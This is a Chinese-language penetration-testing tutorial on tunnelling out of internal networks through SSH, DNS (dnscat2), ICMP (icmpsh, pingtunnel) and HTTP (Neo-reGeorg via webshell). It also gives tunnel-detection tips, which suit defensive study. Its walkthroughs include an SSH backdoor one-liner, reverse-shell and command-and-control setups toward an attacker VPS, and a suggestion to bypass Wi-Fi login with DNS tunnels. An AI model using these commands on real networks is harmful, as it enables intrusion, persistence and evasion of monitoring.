壹 内网代理与转发技巧
1.1 概念
内网穿透就是利用各种隧道技术,绕过网络防火墙的封锁,实现访问被封锁的目标网络,需要考虑的点:
- 能出网,通过允许的协议或一些旁门
- 隐蔽,不容易被发现,流量可加密,开放代理可设置认证
- 稳定,关键时刻不能出问题,自动断线重连
- 限制少,需要的条件越少越好,支持多种协议方式
- 覆盖面广,跟上一条其实有点关联,主要考虑使用场景越多越好
隧道技术是指一种通过使用互联网络的基础设施在网络之间传递数据的方式,包括数据封装、传输和解包在内的全过程。使用隧道传递的数据(或负载)可以是不同协议的数据帧或包。
- 封装:隧道协议将这些其他协议的数据帧或包重新封装在新的包头中发送。新的包头提供了路由信息,从而使封装的负载数据能够通过互联网络传递
- 传输:被封装的数据包在隧道的两个端点之间通过公共互联网络进行路由。被封装的数据包在公共互联网络上传递时所经过的逻辑路径称为隧道
- 解包:一旦到达网络终点,数据将被解包并转发到最终目的地
按所处的协议层分层:
- 网络层隧道:ICMP隧道等
- 传输层隧道:TCP隧道、UDP隧道
- 应用层隧道:HTTP、DNS、SSH等隧道
1.2 内网主机所有可能的出网方式
1.2.1 允许ICMP协议出网
网络防火墙允许ICMP
协议出网,即能ping
通外网主机,一般都能出网:
Windows
系统默认传输32 bytes
的数据,内容是固定的abcdefghijklmnopqrstuvwabcdefghi
,ping
包的大小是可以改变的,但是内容依旧不变,且请求和相应内容相同Linux
系统默认传输48 bytes
的数据,头信息比较复杂,但是末尾内容是固定!”#$%&’()+,-./01234567
ICMP
隐蔽隧道的原理:替换Data
部分,利用客户端程序进行接收并处理服务端发送的畸形的ICMP
协议(主要是Request
和Reply
包)
检测是否为ICMP
隐蔽隧道:
- 检测同一来源
ICMP
数据包的数量。一个正常的ping
每秒最多只会发送两个数据包,而使用ICMP
隧道的浏览器在同一时间会产生上千个ICMP
数据包 - 寻找那些响应数据包中
payload
跟请求数据包不一致的ICMP
数据包 - 注意那些
ICMP
数据包中payload
大于64
比特的数据包。当然icmptunnel
可以配置限制所有数据包的payload
为64
比特,这样会使得更难以被检测到 - 检查
ICMP
数据包的协议标签,例如icmptunnel
会在所有的ICMPpayload
前面增加TUNL
标记以用于识别隧道,这就是特征
探测ICMP
出网方法:通过ping
命令进行探测。
ping <IP地址或域名>
1.2.2 允许特定的TCP或UDP协议端口出网
网络防火墙允许特定的TCP
或者UDP
端口出网,比如连接外网的22
、53
、80
、443
、3389
等常见应用的默认监听端口。在一个不能出网的网络环境里面,将所有的TCP
和UPD
端口都探测一遍,通常都能发现有一两个常见的端口能出网。这通常是由于网络管理员的错误配置和偷懒行为导致:
- 比如配置的防火墙规则前后矛盾,解析的时候遇到匹配规则就退出执行
- 比如网络管理员配置允许
web
服务器访问另一子网的mysql
数据库的3306
端口。网络管理员配置时偷懒,可能会直接放行web
服务器到任意ip
地址的3306
端口
探测TCP
或UDP
出网方法:通过nc
或者telnet
工具进行探测。
nc <IP地址或域名] <端口>
telnet <IP地址或域名> <端口>
1.2.3 允许特定的应用层协议出网(比如HTTP、SSH、DNS等应用层协议)
1.2.3.1 DNS隧道
原理:配置某个域名的NS
服务器,使得对该域名的所有子域解析请求最终到达该NS
服务器上,然后将另一个协议的数据编码为一系列DNS
查询,响应时客户端将返回的Response
数据进行解码得到另一协议的数据
特征:
DNS
隧道建立后依靠不断发送query信息来判断隧道存活性- 通过
DNS
隧道传输时,客户端将数据编码后作为主机名向DNS服务器提交,DNS服务端解码后读取数据
检测:
- 每个
IP
地址的DNS
流量异常,DNS
报文数量大 DNS
消息中TXT
或NULL
等不常用的记录类型多DNS
消息中域名有部分固定不变DNS
服务器的地理位置异常- 访问非受信的
DNS
服务器 - 基于请求域名长度及请求频率统计分析方法
dnscat
查询中包含了dnscat
字符串
探测DNS
出网方法:通过nslookup
或者dig
命令进行探测。
nslookup <IP地址或域名> [dns服务器]
dig [@dns服务器] <IP地址或域名>
1.2.3.2 HTTP隧道
原理:通过HTTP
协议与代理服务器建立连接,协议信令中包含要连接到的远程主机的IP
和端口,如果有需要身份验证的话还需要加上授权信息,服务器收到信令后首先进行身份验证,通过后便与远程主机建立连接,连接成功之后会返回给客户端200
,表示验证通过。此外HTTP
隧道是没有进行加密的,不安全的,一般再嵌套一个SSH
安全隧道。
CONNECT 124.xxx.xxx.xx:443 HTTP/1.1 //建立http隧道要443端口
Proxy-Connection: Keep-Alive //客户端到服务器端的连接持续有效
Content-Length: 0
Host: 124.xxx.xxx.xx //主机地址
Proxy-Authorization:Basic YTph //身份验证信息
User-Agent: OpenFetion //可以标识请求者的信息,如什么浏览器类型和版本、操作系统、使用语言等信息
探测HTTP
出网方法:通过curl
命令或者浏览器进行探测。
curl <IP地址或域名>
1.2.4 通过工具探测出网情况
由于探测出网的协议较多,而且繁杂,所以通过使用outnet工具批量探测出网情况。
1.3 端口映射和端口转发
1.3.1 端口映射
假设一个hacker
通过扫描暴露到公网中的主机A
,主机A
开放了一些敏感端口,而且是弱口令,导致主机A
被hacker
完全控制。接着hacker
就想往公司内网中渗透,通过在主机A
监控流量或者扫描的方式,发现了主机B
,但是主机B
只能由主机A
进行访问,开放了80
端口,而且没有公网IP
。如果hacker
想直接访问主机B
的80
端口,对上面的Web服务进行继续渗透,这就需要进行端口映射,让hacker
可以远程连接到80
端口,这就是一个端口映射场景,端口映射是将内网主机B
的80
端口映射到了具有公网IP的主机A上,本质上是将一个本来无法访问的端口映射到可以访问的IP
上了。
1.3.2 端口转发
假设hacker
位于主机A
,主机A
可能是攻击者个人电脑,也可能是hacker
控制的主机。hacker
通过发送恶意邮件的方式给主机B
,主机B
的用户点开邮件,运行恶意木马导致主机B
被感染,就成了我们俗称的肉鸡。虽然已经有木马运行在主机B
中,但是由于主机B
不在公网中,hacker
无法访问到主机B
。主机B
运行着ssh
服务,开放着22
端口,hacker
如果想在主机A
上直接连接主机B
的22
端口,执行shell
命令,这就需要端口转发。
这时候需要一台主机C
,一个公网的VPS
,来打通两个机器的通信:
- 木马的服务端运行在主机
C
,同时监听两个端口port1
与port2
- 木马的客户端运行在主机
B
,分别主动连接主机B
的22
端口和主机C
的port2
,可以看到这里主机B
的22
端口不像端口映射那样规定死的,而是更灵活的,可以让木马客户端改变的 - hacker只需要主动连接主机
C
的port1
,这样就打通了到主机B
的22
端口线路
1.3.3 区别
端口映射就相当于一个人只能拉手下一个人的手,不可以随便改变,但是端口转发就是一个人根据需要去拉不同人的手,更灵活。
1.4 HTTP、Socket4、Socket5代理的区别
类型 | 作用 | 细节 |
---|---|---|
http | 代理客户机的http访问,主要代理访问网页 | 作用于应用层,常用于客户访问被墙的网站,简称外网,常见的有vpn翻墙操作 |
Socket4 | 代理的是数据包的传递,只设计数据的加密、安全等,不设计到各种HTTP等协议区分 | 只支持TCP协议传输的数据包,也支持身份验证机制、客户端域名解析等等。 |
Socket5 | 同上 | 支持TCP和UDP协议传输的包,包含Socket4的其他功能 |
个人理解:Socket其实并不是一个协议,而是为了方便使用TCP或者UDP而抽象出来的一层,介于应用层和传输层之间的接口,不过也会说它属于传输层协议,而HTTP是应用层协议,在渗透中使用Socket5代理是因为Socket5代理可以代理的服务、端口比较多,而HTTP代理相对比较少。并不是内网渗透都使用Socket5
代理的,一般根据情况而定。
为什么做Socket5代理时,不能ping通对方呢?
ping是ICMP协议,不属于TCP或者UDP的协议,ICMP是网络层与IPV4、6协议(TCP或者UDP)为同层协议,所以在使用Socket5代理时不可以ping通目标的。
1.5 正向代理与反向代理
正向代理(forward proxy):是一个位于客户端和目标服务器之间的服务器(代理服务器),为了从目标服务器取得内容,客户端向代理服务器发送一个请求并指定目标,然后代理服务器向目标服务器转交请求并将获得的内容返回给客户端。
有时候,用户想要访问某国外网站,该网站无法在国内直接访问,但是我们可以访问到一个代理服务器,这个代理服务器可以访问到这个国外网站。这样呢,用户对该国外网站的访问就需要通过代理服务器来转发请求,并且该代理服务器也会将请求的响应再返回给用户。这个上网的过程就是用到了正向代理。
举个例子:
租房子的时候,一般情况下,我们很难联系到房东,因为有些房东为了图方便,只把自己的房屋信息和钥匙交给中介了。而房客想要租房子,只能通过中介才能联系到房东。而对于房东来说,他可能根本不知道真正要租他的房子的人是谁,他只知道是中介在联系他。
这里面一共有三个角色,租客(用户)、中介(代理服务器)和房东(国外网站,目标服务器)。引入中介(代理服务器)的原因是用户无法联系上房东(用户无法访问国外网站)。
反向代理(reverse proxy):是指以代理服务器来接受internet上的连接请求,然后将请求转发给内部网络上的服务器,并将从服务器上得到的结果返回给internet上请求连接的客户端,此时代理服务器对外就表现为一个反向代理服务器。
举例子:
我们在租房子的过程中,除了有些房源需要通过中介以外,还有一些是可以直接通过房东来租的。用户直接找到房东租房的这种情况就是我们不使用代理直接访问国内的网站的情况。
还有一种情况,就是我们以为我们接触的是房东,其实有时候也有可能并非房主本人,有可能是他的亲戚、朋友,甚至是二房东。但是我们并不知道和我们沟通的并不是真正的房东。这种帮助真正的房主租房的二房东其实就是反向代理服务器。这个过程就是反向代理。
对于常用的场景,就是我们在Web开发中用到的负载均衡服务器(二房东),客户端(租客)发送请求到负载均衡服务器(二房东)上,负载均衡服务器(二房东)再把请求转发给一台真正的服务器(房东)来执行,再把执行结果返回给客户端(租客)。
1.6 用途
1.6.1 正向代理的用途
- a.突破访问限制
通过代理服务器,可以突破自身IP访问限制,访问国外网站,教育网等。即,租客可以通过中介,来解决无法联系上房东的问题。
- b.提高访问速度
通常代理服务器都设置一个较大的硬盘缓冲区,会将部分请求的响应保存到缓冲区中,当其他用户再访问相同的信息时, 则直接由缓冲区中取出信息,传给用户,以提高访问速度。即,中介手里留存了很多房源信息和钥匙,可以直接带租客去看房。
- c.隐藏客户端真实IP
上网者也可以通过这种方法隐藏自己的IP,免受攻击。即,房东并不知道租客的真实身份。
1.6.2 反向代理的用途
- a.隐藏服务器真实IP
使用反向代理,可以对客户端隐藏服务器的IP地址。即,租客并不房东知道的真实身份。
- b.负载均衡
反向代理服务器可以做负载均衡,根据所有真实服务器的负载情况,将客户端请求分发到不同的真实服务器上。即,二房东发现房主本人很忙,于是找到房主的妻子帮忙处理租房事宜。
- c.提高访问速度
反向代理服务器可以对于静态内容及短时间内有大量访问请求的动态内容提供缓存服务,提高访问速度。即,二房东同样有房屋信息和钥匙。
- d.提供安全保障
反向代理服务器可以作为应用层防火墙,为网站提供对基于Web的攻击行为(例如DoS/DDoS)的防护,更容易排查恶意软件等。还可以为后端服务器统一提供加密和SSL加速(如SSL终端代理),提供HTTP访问认证等。即,二房东可以有效的保护房东的安全。
1.7 正向代理和反向代理的区别
虽然正向代理服务器和反向代理服务器所处的位置都是客户端和真实服务器之间,所做的事情也都是把客户端的请求转发给服务器,再把服务器的响应转发给客户端,但是二者之间还是有一定的差异的。
- a.正向代理指一对一或多对一,Server 不知道请求的 Client 都是哪些人。反向代理一般是负载均衡的一个原理。按照上面所说,正向代理是一对一或多对一,那么反向代理就是一对多。
- b.正向代理其实是客户端的代理,帮助客户端访问其无法访问的服务器资源。反向代理则是服务器的代理,帮助服务器做负载均衡,安全防护等。
- c.正向代理一般是客户端架设的,比如在自己的机器上安装一个代理软件。而反向代理一般是服务器架设的,比如在自己的机器集群中部署一个反向代理服务器。
- d.正向代理中,服务器不知道真正的客户端到底是谁,以为访问自己的就是真实的客户端。而在反向代理中,客户端不知道真正的服务器是谁,以为自己访问的就是真实的客户端。
- e.正向代理和反向代理的作用和目的不同。正向代理主要是用来解决访问限制问题。而反向代理则是提供负载均衡、安全防护等作用。二者均能提高访问速度。
说白了,正向代理与反向代理的概念是相对而言的,正向代理是客户端为主动发起请求端,而反向代理是服务端为主动发起请求端,一般在内网渗透中我们都是将代理工具的服务端放在攻击机上,导致很多时候使用的是反向代理(不过不能一概而论,看实际情况),而在翻墙时我们是请求外网的网站,自然用的是正向代理。
这里有一篇推荐文章:漫话:如何给女朋友解释什么是反向代理?
贰 SSH 隧道
2.1 介绍
在内网中几乎所有的linux
服务器和网络设备都支持ssh
协议。一般情况下,ssh
协议是允许通过防火墙和边界设备的,而且ssh
协议的传输过程是加密的,所以很难区分合法的ssh
会话和攻击者利用其他网络建立的隧道。攻击者就可以使用ssh
端口隧道突破防火墙的限制后,建立一些之前无法建立的TCP
连接。
-C 压缩传输,提高传输速度。
-f 将 SSH 传输转入后台执行,不占用当前 shell
-N 建立静默连接(建立了连接但看不到具体会话)
-g 允许远程主机连接本地用于转发的端口。
-L 本地端口转发
-R 远程端口转发
-D 动态转发(SOCKS 代理)
-p 指定自己自定义的 SSH 端口
-i 指定自己的私钥文件
SSH
隧道优缺点:
优点:
隐蔽性较好,数据加密ssh
功能Linux
系统一般都有,方便快捷缺点:
需要被控机的管理员权限,开启ssh
的端口转发功能GatewayPorts
需要被控机系统密码,也可以使用ssh
漏洞
2.2 前提
假设我们得到一个 root 权限的主机,且该主机能够出公网,我们打算建立内网隧道点,打通网络,伪装出口 IP。所以我们打算使用使用 SSH
建立内网隧道点,打通网络,伪装出口 IP。
- 拓扑图:
2.3 复现
所有的主机的sshd_config
配置文件都要将 GatewayPorts
选项调整为 yes
状态:
首先在被控机开启 socks5
服务,这里相当于进入被控机的另一个终端:
ssh -D 0.0.0.0:[内网SOCKS5服务端口] root@localhost -p 自定义端口(可以不设置)
发现需要该被控机的系统密码,我们可以结合 SSH
后门免密登录(这一步应该是提前执行的,我们这里是为了顺着说):
ln -sf /usr/sbin/sshd /tmp/su; /tmp/su -oPort=自定义端口(这里的端口就是上面的ssh自定义端口)
接着将该被控机的 Socks5
服务端口转发到 VPS
上的随便一个自定义端口:
ssh -R 0.0.0.0:[远程 VPS 中转端口]:0.0.0.0:[被控机 socks5 服务端口] root@vps的IP
可以看到进入到了VPS
的终端,这个时候,VPS
上已经开启了内网的 Socks5
代理,直接挂代理连接即可。
或者:
我们还可以搭配ssh
的参数使用,这里就不过多赘述。
- 主要的几个命令(这些命令不是死的需要根据不同场景使用):
# 本地开启socks5 ssh -D 0.0.0.0:[内网SOCKS5服务端口] root@localhost -p 自定义端口(可以不设置) # 本地端口转发,根据拓扑图注意区别内网机和被控机的IP ssh -L 0.0.0.0:[VPS 端口]:内网机机IP:[内网机端口] root@被控机网卡1的IP # 远程端口转发 ssh -R 0.0.0.0:[远程 VPS 中转端口]:0.0.0.0:[被控机 socks5 服务端口] root@vps的IP # 0.0.0.0IP表示省略,但为了安全性考虑,请务必使用127.0.0.1做为本地监听端口, 而不要使用默认的0.0.0.0
2.4 参考
叁 DNS隧道
3.1 介绍
有些时候环境 TCP
无法出外网,但是 DNS
可以直接解析,或者配置内网 DNS
服务器后可以解析,那么就可以通过 DNS
反弹 Shell
,建立隧道。这里主要讲述反向 DNS
隧道。
还有有情况就是当我们在酒店、机场等公共场所,通常有Wifi
信号,但是当我们访问一个网站时,可能会弹出个窗口,让你输入用户名、密码,登陆之后才可以继续上网。这时,你没有账号,就无法上网。但是有时你会发现,你获取到得 DNS
地址是有效的,并且可以用以进行 DNS
查询,这时你便可以用DNS
隧道技术来实现免费上网了!
DNS
隧道原理:当终端设备在做DNS
查询的时候,如果查的域名在DNS
服务器本机的cache
中没有,它就会去互联网上查询,最终把结果返回给终端设备。这时候在互联网上有台定制的服务器,我们只要依靠DNS
的这层约定,就可以交换数据包了。从DNS
协议上看,终端设备是在一次次的查询某个特定域名,并得到解析结果,但实际上,终端设备已经通过特定的DNS
服务器实现了外部上网。因为这个过程没有直接连到局域网外的机器,因此网关不会转发你的IP
包出去,但实际上局域网上的DNS
服务器帮我们做了中转。
DNS
隧道工具的作用就是将进入DNS
隧道的其他协议流量封装到DNS
协议内,并将其在DNS
隧道上传输,当这些数据包出DNS
隧道时就会进行解封装,还原数据,DNS
服务器就会取解析和执行这些数据,从而达到代理转发数据的目的。
DNS
隧道可以分为直连和中继两种:
- 直连就是
Client
直接和指定的目标DNS
服务器连接,通过将数据编码封装在DNS
协议中进行通信,这种方式速度快,但是隐蔽性比较弱,很容易被探测到,另外限制比较高,很多场景不允许自己指定DNS
服务器。 - 而通过
DNS
迭代查询而实现的中继隧道,则更为隐秘,但同时因为数据包到达目标DNS
服务器前需要经过多个节点,所以速度上较直连慢很多。
DNS
隧道优缺点:
优点:
根据中继模式,隐蔽性较好
直连模式速度快,局限性高缺点:
需要域名
直连模式容易被发现
中继模式速度慢
3.2 前提
拓扑图:
使用工具:
dnscat2
dnscat2
是一个DNS
隧道工具,通过DNS
协议创建加密的命令和控制通道,它的一大特色就是服务端会有一个命令行控制台,所有的指令都可以在该控制台内完成,包括:文件上传、下载、反弹Shell
等。
dnscat2.zip
# 在VPS上设置服务端,编译安装,VPS需要ruby环境,一般kali自带
git clone https://github.com/iagox86/dnscat2.git
cd dnscat2/server/
sudo gem install bundler
bundle install
# 在被控机上,即可以解析DNS的机子上安装dnscat2,可以将编译好的dnscat2客户端上传,可能会存在依赖问题,根据实际情况选择
git clone https://github.com/iagox86/dnscat2.git
cd dnscat2/client/
make
- 确保
VPS
的53
端口开启,即DNS
服务开放
3.3 复现
在没有域名的情况下可以使用直连的方式,也就是domain
不加域名,但在数据包中很明显,所有域名都以dnscat为前缀,除非你破解了源代码,防火墙经常会阻止此模式。
首先VPS
作为服务端,运行:
# 在没有域名的情况下可以使用直连的方式,也就是下面的复现过程,但在数据包中很明显,所有域名都以dnscat为前缀,除非你破解了源代码,防火墙经常会阻止此模式
ruby ./dnscat2.rb --dns host=服务端IP,port=dns端口,domain=域名 --secret=自定义密码
# --dns是设置服务端的IP、端口和域名,可以不加,默认没有域名,host=0.0.0.0,port=53
# --secret是自定义连接密码,可以不加,会自动生成
接着被控机作为客户端,运行:
# 客户端连接根据实际情况连接也就是上图标红的地方
# 中继
./dnscat 域名 --secret=密码
# 直连
./dnscat --dns server=x.x.x.x,port=服务端自定义的dns端口 --secret=密码
# x.x.x.x 就是自己 VPS 的 IP 地址
被控机出现以上显示,服务端出现下图显示,说明已经建立session
:
我们可以查看当前 session
:
# 该命令查看session
windows
我们进入id 1
会话,运行:
windows -i [id]
可以看到对应的使用说明,我们开启非交互式 shell
,会出现新的id
,我们继续进入新的id
即可进入被控机的shell
:
我们还可以使用 listen
命令将内网端口转发出来,即在VPS
上运行:
listen [VPS的IP]:[本地端口] [内网机的IP]:[内网机端口]
接着在VPS
开一个新的终端,输入ssh
连接,即可访问:
help
可查看控制台支持的命令,常用的有:
quit (退出控制台)
kill <id> (中断通道)
set(设值,比如设置set secret=<new value>来动态改变--secret密码)
windows(列举出所有的通道)
window -i <id>(连接某个通道)
进入隧道后,使用help
同样可以看到其内支持的命令:
clear(清屏)
delay(修改远程会话超时时间)
exec(执行远程机上的程序)
shell(得到一个反弹shell)
download/upload(两端之间上传下载文件)
supend(返回到上一层,等于快捷键`ctrl+z`)
windows(列举出所有的通道)
window -i <id>(连接某个通道)
listen [VPS的IP]:[本地端口] [内网机的IP]:[内网机端口](内网代理转发)
shutdown (断开被控机)
3.4 参考
肆 ICMP隧道
4.1 介绍
ICMP
报文中除了必须要有的类型、校验和等等还可以携带一定长度的可选数据,这也就是我们可以用来搭建隧道的原因,不过每次报文携带得的字节不会很多,所以有点慢。
- 优点
防火墙对ICMP_ECHO
数据包是放行的,并且内部主机不会检查ICMP
数据包所携带的数据内容,隐蔽性高 - 缺点
ICMP
隐蔽传输是无连接的,传输不是很稳定,而且隐蔽通道的带宽很低
利用隧道传输时,需要接触更低层次的协议 ,这就需要高级用户权限
4.2 前提
拓扑图:
使用工具:
icmpsh
:最后更新于2013年,客户端使用C语言实现,只能运行在目标Windows
机器上;而服务端由于已经有C
和Perl
实现的版本,而且之后又移植到了Python
上,因此可以运行在任何平台的攻击者机器中,该工具能通过ICMP
协议反弹cmd
,不用管理员权限,但反弹回来的cmd
极不稳定,加上常年未维护,版本过老,不推荐使用。
icmpsh-master.zip
# 用法
# git clone https://github.com/inquisb/icmpsh.git
# 关闭ping回复,防止内核自己对ping包进行响应。
sysctl -w net.ipv4.icmp_echo_ignore_all=1
# 服务端(VPS)攻击端执行
python icmpsh_m.py <服务端IP> <客户端IP>
# 客户端(被控机)执行
icmpsh.exe -t <服务端-IP>
icmptunnel
:最后更新于2017年,创建虚拟网卡通过ICMP
协议传输网卡流量,基于ICMP
隧道的VPN
,需要root权限,动静极大,不推荐使用。
icmptunnel-1.0.0.zip
# 用法
# 服务端与客户端均需要以下操作
# 安装和编译
git clone https://github.com/DhavalKapil/icmptunnel.git
cd icmptunnel
make
# 禁用ICMP echo回复,防止内核自己对ping包进行响应,(需要root权限)
echo 1 > /proc/sys/net/ipv4/icmp_echo_ignore_all
# ++++++++++++++++服务端++++++++++++++++
# 启动隧道(root权限)
./icmptunnel -s [server-IP]
# 观察路由
route -n
# ++++++++++++++++客户端++++++++++++++++
# 修改client.sh
route add -host [server-IP] gw [client-IP] dev eth0
# 建立隧道
./icmptunnel -c [server-IP]
pingtunnel
:持续更新,TCP
、UDP
、socks5 over ICMP
,速度快,连接稳定,跨平台,支持大多数具有libpcap
的操作系统,从版本0.7开始,ptunnel
也可以在装WinPcap
的Windows
上编译,推荐使用。
pingtunnel-2.6.zip
# 用法
# 服务端,需要root权限,key是设置密码,服务端需要根据我们要做什么代理来决定的
sudo ./pingtunnel -type server -key 密码
# 客户端,需要root权限
# tcp映射,本地监听端口,并把该端口通过服务端重定向至要访问的机器IP端口
./pingtunnel -type client -l :本地端口 -s 服务端IP -t 要访问的机器IP:端口 -tcp 1 -key 与服务端对应密码
# sock转发,本地监听端口开启socks代理,并把流量重定向至服务端,此时流量通过服务端出去,主机出网
./pingtunnel -type client -l :本地端口 -s 服务端IP -sock5 1 -key 与服务端对应密码
# 注意这里有两个参数需要说明:noprint和nolog两个参数,noprint为调试输出,记录当前连接状况等,nolog为日志输入,将连接状况记录到日志中,如果不需要这两个参数将其置为1即可,实验手册中均置为1
4.3 复现
这个复现是通过B
这个跳板机去实现的A
访问C
,即A
访问C
的Web
服务,我们将B
主机设置为服务端,B
是内网的一个机器:
sudo ./pingtunnel -type server -key 1234
在攻击机A
设置客户端:
#监听本地的 4455 端口,发送到4455端口的流量将通过 ICMP 隧道转发到 10.0.1.132 服务器的 8000 端口
./pingtunnel -type client -l :4455 -s 10.0.1.131 -t 10.0.1.132:8000 -tcp 1 -key 1234
在执行完上面两条命令之后,在A
主机上访问http://localhost:4455
即可访问C
的目标8000
端口:
4.4 参考
- 内网渗透系列:内网穿透(隧道)学习
- 【Pingtunnel工具教程】利用ICMP隧道技术进行ICMP封装穿透防火墙
- 内网渗透系列:内网隧道之ICMP隧道
- icmp隧道
- icmp端口_icmptunnel搭建icmp隧道——超详细步骤
伍 HTTP隧道
5.1 介绍
HTTP
隧道是通过HTTP
协议与代理服务器建立连接,把所有要传送的数据全部封装到HTTP
协议里进行传送,协议中包含有要连接的远程主机的IP
和端口,连接成功之后会返回给客户端200
,表示验证通过。当我们获取到一台web
主机服务器并且该服务器除了http
协议可以出网,其他都不能使用时,我们可以考虑搭建正向的http
隧道,通过webshell
进行连接。
5.2 前提
拓扑图:
使用工具:Neo-reGeorg是一个基于
http
协议的内网穿透神器,也就是我们在获得服务器的webshell
后可以通过上传生成好的tunnel
来建立sock5
连接,通过sock5
连接更好的对内网进行横向渗透,是常见的http
正向隧道工具,是reGeorg
工具的升级版。增加了很多特性,例如像内容加密、避免被检测、请求头定制、响应码定制、支持py3
等等。
5.3 复现
由于没有搭建代理不可访问:192.168.52.143
在攻击机中,使用py neoreg.py generate -k 123456 -o a
将客户端文件生成到a
文件夹中,密码为1234566
。
6.2.2 上传脚本
将生成好的脚本上传到受害机中。注意这里上传的目录一定要能访问到。
使用攻击机浏览器探测一下,确认可以访问。
在攻击机上输入py neoreg.py -k 123456 -u http://192.168.0.192/tunnel.php
。
根据提示我们需要使用socks5
协议连接127.0.0.1:1080
,URL为http://192.168.106.129/tunnel.php
。
在攻击机火狐浏览器中,添加代理插件,修改参数,进行访问。
5.4 参考
陆 小结
当然还有TCP
、UDP
、Socket
隧道等,这些隧道属于使用场景较广的隧道,很多时候我们搭建的都是Socket
隧道,它可以包装很多中协议进行通信,同时支持该隧道的工具也很多,而TCP
隧道算是一个大类,包含http
隧道、ssh
隧道等,而UDP
隧道也是大类,包含DNS
隧道,故这里不做过多介绍。不管是平时的工作还是做内网渗透,都会用到隧道技术,隧道技术并不仅限于在特定的环境下使用,而是应该将其灵活运用。